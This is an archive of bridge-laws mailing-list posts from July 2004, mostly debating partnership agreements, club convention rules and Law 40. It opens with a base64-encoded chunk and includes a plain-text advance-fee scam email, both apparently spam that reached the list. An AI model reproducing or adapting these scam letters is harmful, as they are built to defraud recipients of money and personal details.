aXMgb25seSBtZWFudCBmb3IgdGhpcyB0cmFuc2Zlci4NCg0KVGhpcyBpcyBteSBsZWdpdGltYXRl IG1vbmV5LG15IG9ubHkgcHJvYmxlbSBpcyBhIGZvcmVpZ24gcGF0bmVyIG92ZXJzZWFzIHdobyB3 aWxsIGFzc2lzdCBtZSBpbiB0cmFuc2ZlcmluZyANCmFuZCByZWNlaXZpbmcgIHRoZSBtb25leSBh YnJvYWQgYmVmb3JlIHdlIGNvbWUgb3ZlciBiZWNhdXNlIGl0IGlzIG9idmlvdXMgdGhhdCBoZSB3 aWxsIG5vdCBydWxlIGFnYWluIGFmdGVyIHRoaXMgaGlzIHNlY29uZCB0ZW51cmUgaW4gdGhlIG9m ZmljZSBhcyB0aGUgUHJlc2lkZW50IGFuZCBDaGllZiBFeGVjdXRpdmUgb2YgRmVkZXJhbCBSZXB1 YmxpYyBvZiBOaWdlcmlhLg0KUGxlYXNlIHJlbWVtYmVyIHRoYXQgbXkgZmF0aGVyIGFuZCBteSBm YW1pbHkgYXJlIHB1YmxpYyBmaWd1cmVzIHRoZXJlZm9yZSwgdGhpcyBpbmZvcm1hdGlvbiBkZXNl cnZlcyB1dG1vc3Qgc2VjcmVjeS4NCk15IGZhdGhlciBoYXMgYWx3YXlzIHdhcm5lZCBtZSB0byBi ZSBjYXJlZnVsIGFib3V0IG15IA0KZG9pbmdzIHdpdGggcGVvcGxlIGJlY2F1c2Ugb2YgdGhlIE5p Z2VyaWFuIHB1YmxpY3MuDQoNClNlY29uZGx5LG15IGF0aG9ybmV5IHdpbGwgZG8gZXZlcnkgZm9s bHcgdXAgcHJvY2VlZGluZ3Mgd2hpbGUgdGhlIGJhbmsgbWFuYWdlciBoYXMgcHJvbWlzZWQgdG8g YXNzaXN0IGFuZCBjby1vcGVyYXRlIHdpdGggbWUgZWFybmVzdGx5IHNvLCBteSBwcm9ibGVtIG5v dyBpcyBpZiBvbmx5IHlvdSB3aWxsIGFncmVlIHRvIGFzc2lzdCBtZSBidXQgaWYgeW91IGNhbm5v dCwNCnN0aWxsIHRlbGwgbWUgc28gdGhhdCBJIHdpbGwgbWFrZSBhcnJhbmdlbWVudHMgd2l0aCBh bm90aGVyIHBlcnNvbi4gS2luZGx5IHJlcGx5IG1lIGltbWlkaWV0bHkgd2l0aCB0aGlzIG15IHBy aXZhdGUgZW1haWw6ZGVsZW9iYXNhbmpvQHNpZnkuY29tDQphbmQgdGVsbCBtZSB5b3VyIG1pbmQu VGhhbmtzLg0KDQpXaXRoIHRoZSBiZXN0IG9mIG15IHNpbmNlciByZWdhcmRzLA0KTXIsIERlbGUg T2Jhc2Fuam8u From hermandw@hdw.be Sat Jul 31 10:07:50 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 31 Jul 2004 11:07:50 +0200 Subject: [blml] 2003 EBU casebook, appeal 4 In-Reply-To: References: <4109FC37.2080800@hdw.be> Message-ID: <410B6166.8060807@hdw.be> Sorry John, but this test is not fair. Because we are not talking of complete strangers like you and me partnering one another. Now ask these questions of any Londoner of your choice (that you haven't played with) and we'll see how many of them yuou have agreement upon. Let me answer just one of them: John (MadDog) Probst wrote: > > I've written down a "one word" answer to the following auctions for the > meaning of the last call. You do the same. We haven't discussed any of > them (trust me we wouldn't have), it's as much as any can do to get me > to agree on anything but I've been known to say "better minor, 3 wk 2's, > Ogust, mini 1st and 2nd, strong 3 and 4, 4 suit xfers, std carding, 5 > card Stayman, 3041, 4sf, splinters" as I sit down for the first board. > > all unopposed auctions, God help us if they were opposed. > > 1) 1H 4D > I'm assuming this would be "splinter". Now my point is that if you do this bid, with a singleton, then you are probably very certain that I won't pass this out. So you're relying on me understanding. With slightly more than a maximum, I may bid 4Sp, thereby relying on you having hearts. What is that mutual "relyance" (sp?) other than an agreement (implicit but yet) ? > 2) 2N 3C 3D 3H > far too local based to answer - in Antwerp that wold be spades, without any doubt (puppet) > 3) 1N 2C 2H 4C > might well be gerber, but that is totally unknown in Antwerp. Do you see where I'm going with this? There are so many untold "agreements", simply because 2 people are from a same city. Those agreements are real and disclosable. > 4) P 1D 2H > > 5) 1C 1H 4C > > 6) 1C 1H 1S 4C > > 7) 2D 2N 3H > > 8) 2C 2D 2H 2S 2N > > > Herman, (and I promise I've used meanings I've used within the last 5 > years for all these calls), how many of these are we going to have an > implicit partnership agreement on? > We two? none. Me with anyone from Antwerp - many (some of your choices are too exotic for Antwerp players) You with anyone from London - probably all. > John > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From ibrahimdunga1@netscape.net Sat Jul 31 17:05:40 2004 From: ibrahimdunga1@netscape.net (Ibrahim Dunga) Date: Sat, 31 Jul 2004 17:05:40 +0100 Subject: [blml] (*SPAM*) Confidential Message-ID: <20040731160647.C1FB040C@rhubarb.custard.org> Dear Friend=2C I know you will be surprised to read from me=2C but please consider this letter as a request from a family in dire need for your assistance=2E Firstly=2C I must introduce myself=2C I am PRINCE IBRAHIM DUNGA from Zimbabwe=2C and I am the first and the only son of MR DANIEL DUNGA=2E I am presently residing in SOUTH AFRICA=2E I got your contact from the SOUTH AFRICA INFORMATION EXCHANGE =28S=2EA=2EI=2EE=29 in Johannesburg and on behalf of my mother who is a widow MRS ANGELA DUNGA=2E I decided to solicit for your assistance to transfer the sum of US$ 18=2E5M =28Eighteen Million Five Hundred Thousand United States Dollars=29 in your personal or company account=2E Before my father=92s death=2C he was among the few black Zimbabweans rich farmers=2C and=2C he was poisoned by the agents of the ruling government of president ROBERT MUGABE for his alleged support and sympathy for Zimbabwean opposition party controlled by white minority=2E Before his death=2C he had taken me to Johannesburg to deposit his money to a Security and Finance Company=2E This money was deposited as a gemstone to avoid much demurrage from the Security Company=2E This money was earmarked for purchase of new machinery and chemicals for the farms and to establish new farms in Lesotho and Swaziland=2E In this will=2C he specifically drew my attention to this sum of US$18=2E5M =28Eighteen Million Five Hundred Thousand United States Dollars=29 that he deposited in safe box of a private Security and Finance Company here in Johannesburg=2C South Africa=2E INFACT MY FATHER SAID IN HIS WILL AND QUOTE=3A =93My beloved son=2C I wish to draw your attention to this money which I deposited in your name in a box with a Security and Finance Company in Johannesburg=2C South Africa=2E In case of my absence on earth caused by death=2C you should solicit for a reliable foreign partner to transfer this money out of South Africa for investment purposes=2E >From the above=2C you will understand that life and future of my family depends on this money=2C as much I will be very grateful if you can assist us=2E We are now living in South Africa as asylum seekers and financial laws of South Africa does not allow asylum seekers certain right to such huge amount of money=2E In view of this=2C I can not invest this money in South Africa hence am asking you to assist me to transfer this money out of South Africa for investment purposes=2E For your effort=2C I am prepared to offer you 25% of the total fund=2E While 5% will be set my family and I will keep aside for local and international expenses and 70%=2E Finally modalities on how the transfer will be done will be conveyed to once we establish trust and confidence between ourselves=2E Looking forward to your reply including your full name=2C and your full direct phone & fax numbers=2C and please treat as very urgent=2E Best Regards=2C PRINCE IBRAHIM DUNGA=2E From ereppert@rochester.rr.com Sat Jul 31 17:35:37 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 31 Jul 2004 12:35:37 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: <6.1.2.0.0.20040730223419.01e499c0@mail.comcast.net> Message-ID: On Friday, Jul 30, 2004, at 22:37 US/Eastern, David J. Grabiner wrote: > ACBL clubs are not governed by the General Convention Chart; they have > the authority to set their own regulations on conventions, and this > authority is officially delegated to them by the ACBL. (They also go > beyond that authority; I have played at one club which barred psyches, > in violation of the Laws.) > > However, if an ACBL club is the site of an official ACBL game such as > a Sectional Tournament at Clubs, it is governed by the tournament > rules and must allow the convention chart which was announced for the > tournament. I know that. My problem with the situation was that the clubs in question did not (and do not) publish their conditions of contest. One of the TDs I mentioned told me once "You can play anything you want." I had assumed the GCC governed in both clubs (or maybe the superchart in the "anything you want" club :) but it seems i was wrong. Memphis told me that clubs "should" publish their CoC, but when I mentioned that to the director who'd banned the bid, he said "I've been directing this club for 25 years, and I've never had to do that." It seems the actual coc is "you can play anything you want, unless somebody doesn't like it". From ereppert@rochester.rr.com Sat Jul 31 17:58:35 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 31 Jul 2004 12:58:35 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: Message-ID: On Friday, Jul 30, 2004, at 15:13 US/Eastern, Gordon Bower wrote: > I don't think they were doing what is best in the long run for the > game of > bridge, anyway. Me either. > They may or may not have been "wrong," depending whether > they were "just" directors or were involved in setting of club policy > too, > and whether this had ever come up at their clubs before. Perhaps "wrong" was too strong. :-) The TD who banned the bid is of a club run by a Board of Directors (and affiliated with, if not owned by, a major corporation). The other one owns his club. One of the directors of the former club suggested we present our case to the board, as she had some sympathy for us (she's also a club director and a teacher). Unfortunately, my then partner passed away shortly thereafter, so it never got that far. > Romex is GCC-legal at present - I honestly don't know why, as it's a > lot > more bizarre in places than a lot of Midchart conventions are, except > for > Rosenkranz's seat on the ACBL BoD - Hm. I can't think of anything we were playing that's bizzarre. There are some interesting (and alertable) inferences in some auctions, but that's true of many conventions. Rosenkranz's efforts to promote the system lately seem directed to overcoming the perception that the system is difficult or strange. In effect, if you play 2/1, switching to Romex means (1) giving up the strong NT for the Dynamic NT, (2) switching the range of your 2NT opening to 25-26 HCP and 10 controls, (3) adopting the Romex approach to balanced hand evaluation, where controls are more important than points, and (4) adding the strong Mexican 2D bid (and so giving up the weak 2D). Doesn't seem all that strange to me. :-) > but there's nothing stopping a club from adopting any convention > policy it wishes. In the case of the first > club anwway, you might have wanted to ask the owner of the club > afterward what his policy was. I did. They don't have one. :) > I had a similar experience a few years ago in Anchorage, AK - I played > at > a regional, playing a Polish-style 1C and weak two bids in all four > suits. > In the course of a single session the director was called to my table > five > times as opponents accused me of playing an illegal system (the > director > correctly ruled it was GCC legal) but the manager of their club said > something to me, almost word for word like this: "I guess we can't stop > you from playing that !@#$% at our tournament, but don't you dare set > foot > in my club if you are going to bid that way." Needless to say I didn't > set > foot in that bridge club again until after that manager passed away > last > year even when I went back to playing standard. I guess that manager had never heard of Dale Carnegie. :-) From walt1@verizon.net Sat Jul 31 18:14:08 2004 From: walt1@verizon.net (Walt) Date: Sat, 31 Jul 2004 13:14:08 -0400 Subject: [blml] Deceiving and destroying In-Reply-To: References: <6.1.2.0.0.20040730223419.01e499c0@mail.comcast.net> Message-ID: <6.1.2.0.0.20040731131055.02c40280@incoming.verizon.net> At 12:35 PM 31/07/2004, Ed Reppert wrote: >On Friday, Jul 30, 2004, at 22:37 US/Eastern, David J. Grabiner wrote: > >>ACBL clubs are not governed by the General Convention Chart; they have >>the authority to set their own regulations on conventions, and this >>authority is officially delegated to them by the ACBL. (They also go >>beyond that authority; I have played at one club which barred psyches, in >>violation of the Laws.) >> >>However, if an ACBL club is the site of an official ACBL game such as a >>Sectional Tournament at Clubs, it is governed by the tournament rules and >>must allow the convention chart which was announced for the tournament. > >I know that. My problem with the situation was that the clubs in question >did not (and do not) publish their conditions of contest. One of the TDs I >mentioned told me once "You can play anything you want." I had assumed the >GCC governed in both clubs (or maybe the superchart in the "anything you >want" club :) but it seems i was wrong. Memphis told me that clubs >"should" publish their CoC, but when I mentioned that to the director >who'd banned the bid, he said "I've been directing this club for 25 years, >and I've never had to do that." It seems the actual coc is "you can play >anything you want, unless somebody doesn't like it". Ed I think this is the way it has been in most of the clubs I have been in. I remember having a hard time remembering a new convention that seldom came up (probably the Meckwell mini-multi 2D convention) and after the second complaint we were told that if we bid 2D again without having the appropriate hand we would be barred from playing it. Walt From henk@amsterdamned.org Sat Jul 31 23:00:02 2004 From: henk@amsterdamned.org (Henk Uijterwaal) Date: Sun, 01 Aug 2004 00:00:02 +0200 Subject: [blml] Usenet bridge abbreviations Message-ID: (Automated, regular posting) Usenet Bridge Abbreviations ABF Australian Bridge Federation AC Appeals committee ACBL American Contract Bridge League AI Authorised information ArtAS Artificial adjusted score AssAS Assigned adjusted score ATF Across-the-field [matchpointing] ATTNA Appeal to the National Authority BBL British Bridge League [now defunct] BGB Bridge Great Britain BIT Break in Tempo BLML Bridge-laws mailing list BoD Board of directors [ACBL] BoG Board of governors [ACBL] BOOT Bid-Out-Of-Turn CD Convention Disruption C&E Conduct and ethics [often hearings] CC Convention card CHO Center Hand Opponent [ie partner] CoC Conditions of contest COOT Call-Out-Of-Turn CoP Code of practice CPU Concealed partnership understanding CTD Chief Tournament director DBF Danish Bridge Federation DIC Director in charge DP Disciplinary penalty EBL European Bridge League EBU English Bridge Union EHAA Every Hand an Adventure [a system] F2F Face-to-face [to distinguish from Online bridge] FOLOOT Faced Opening-Lead-Out-Of-Turn GCC General Convention Chart [ACBL] HUM Highly Unusual Method IB Insufficient Bid IBLF International Bridge Laws Forum LA Logical alternative L&EC Laws & Ethics Committee [English, Welsh or Scottish] LHO Left hand Opponent Lnn Law number nn LOL Little old lady [may be of either sex] LOOT Lead-Out-Of-Turn MB Misbid ME Misexplanation MI Misinformation MPC Major penalty card mPC Minor penalty card MSC Master Solvers' Club [The Bridge World] NA National Authority NABC ACBL North American Bridge Championships NBB Nederlandse Bridge Bond [Dutch Bridge League] NBO National Bridge organisation NCBO National Contract Bridge organisation NIBU Northern Ireland Bridge Union NO Non-offender NOs Non-offenders NOS Non-offending side OBM Old Black Magic OBOOT Opening-Bid-Out-Of-Turn OKB OKBridge OLB Online bridge [to distinguish from Face-to-face bridge] OLOOT Opening-Lead-Out-Of-Turn OOT Out-Of-Turn Os Offenders OS Offending side pd Partner PLOOT Play-Out-Of-Turn POOT Pass-Out-Of-Turn PP Procedural penalty RA Regulating Authority RGB rec.games.bridge [newsgroup] RGBO rec.games.bridge.okbridge [newsgroup] RHO Right Hand Opponent RLB Real Life Bridge [to distinguish from Online bridge] RoC Rule of coincidence RoW Rest of World [apart from North America] RTFLB Read the [fabulous] Law book! SBU Scottish Bridge Union SO Sponsoring organisation TBW The Bridge World [magazine] TD Tournament director TDic Tournament director in charge TFLB The [fabulous] Law book! UI Unauthorised information WBF World Bridge Federation WBFLC WBF Laws Committee WBU Welsh Bridge Union YC Young Chelsea ZO Zonal organisation ZT Zero Tolerance [for unacceptable behaviour] Hand diagrams: *3m 3C or 3D [minor] *3M 3H or 3S [Major] ..3H 3H after a hesitation 3H! 3H alerted The above may also be found on David Stevenson's Bridgepage at http://blakjak.com/usenet_br.htm From grandeval@vejez.fsnet.co.uk Sat Jul 31 20:46:10 2004 From: grandeval@vejez.fsnet.co.uk (Grattan Endicott) Date: Sat, 31 Jul 2004 20:46:10 +0100 Subject: [blml] Deceiving and destroying References: <003601c476ab$c1230740$0401010a@Desktop> Message-ID: <002601c47797$91aba9d0$c7aa87d9@yourtkrv58tbs0> grandeval@vejez.fsnet.co.uk [also gesta@tiscali.co.uk] ********************************** "There is nothing in this world constant, but inconstancy." - Jonathan Swift. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ----- Original Message ----- From: "Wayne Burrows" Sent: Saturday, July 31, 2004 4:09 AM Subject: RE: [blml] Deceiving and destroying > > > This is a nonsense and I do not believe that the > WBF or a subset of the WBF mean this. And > I will continue saying this until I am told and > convinced that the WBF intend this law to > mean that the SO can regulate conventions by > contradicting any other law they choose e.g. "If > you use Stayman then you can revoke". I do > not see this as any different than "If you play > convention A then you can not exercise your > rights in L40A" which is the effect of a regulation > that bans psychic use of conventional bids. > +=+ Law 40D allows regulation of 'the use of bidding or play conventions'. Your example is way off key because it is not about the use of a convention. You appear to say that providing use of a convention is disclosed in accordance with the regulations of the sponsoring organisation its use may not be forbidden. We all know, however, that regulations commonly prohibit the use of certain conventions in certain categories of tournament. Psychic use of a conventional call is also all about the use that may be made of that call and is likewise subject to regulation. ~ Grattan ~ +=+ From wayne.burrows@xtra.co.nz Thu Jul 1 09:38:45 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 1 Jul 2004 20:38:45 +1200 Subject: [blml] Deceiving and destroying In-Reply-To: <002601c47797$91aba9d0$c7aa87d9@yourtkrv58tbs0> Message-ID: <00ef01c45f46$d2df8570$0401010a@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Grattan Endicott > Sent: Sunday, 1 August 2004 7:46 a.m. > To: 'blml' > Subject: Re: [blml] Deceiving and destroying > > > > grandeval@vejez.fsnet.co.uk > [also gesta@tiscali.co.uk] > ********************************** > "There is nothing in this world constant, > but inconstancy." > - Jonathan Swift. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > ----- Original Message ----- > From: "Wayne Burrows" > Sent: Saturday, July 31, 2004 4:09 AM > Subject: RE: [blml] Deceiving and destroying > > > > > > > > This is a nonsense and I do not believe that the > > WBF or a subset of the WBF mean this. And > > I will continue saying this until I am told and > > convinced that the WBF intend this law to > > mean that the SO can regulate conventions by > > contradicting any other law they choose e.g. "If > > you use Stayman then you can revoke". I do > > not see this as any different than "If you play > > convention A then you can not exercise your > > rights in L40A" which is the effect of a regulation > > that bans psychic use of conventional bids. > > > +=+ Law 40D allows regulation of 'the use of > bidding or play conventions'. Your example is > way off key because it is not about the use of > a convention. You omitted to quote that which I said was nonsense: >"The powers to regulate conventions are unrestricted >and include the power to ban conventions in given >circumstances" How can something be way off key when it is "unrestricted". "unrestricted" means you are free to do with it whatever you want. > You appear to say that providing use of a > convention is disclosed in accordance with the > regulations of the sponsoring organisation its > use may not be forbidden. I am not saying that. > We all know, however, > that regulations commonly prohibit the use of > certain conventions in certain categories of > tournament. Psychic use of a conventional call > is also all about the use that may be made of > that call and is likewise subject to regulation. It is too bizarre that you can make a regulation that in one foul swoop overrides the freedom that is specifically given to players in L40A. A player may make any call that departs from previously announced use of a convention without prior announcement. Common sense dictates that this is not a reasonable use of a regulation. Wayne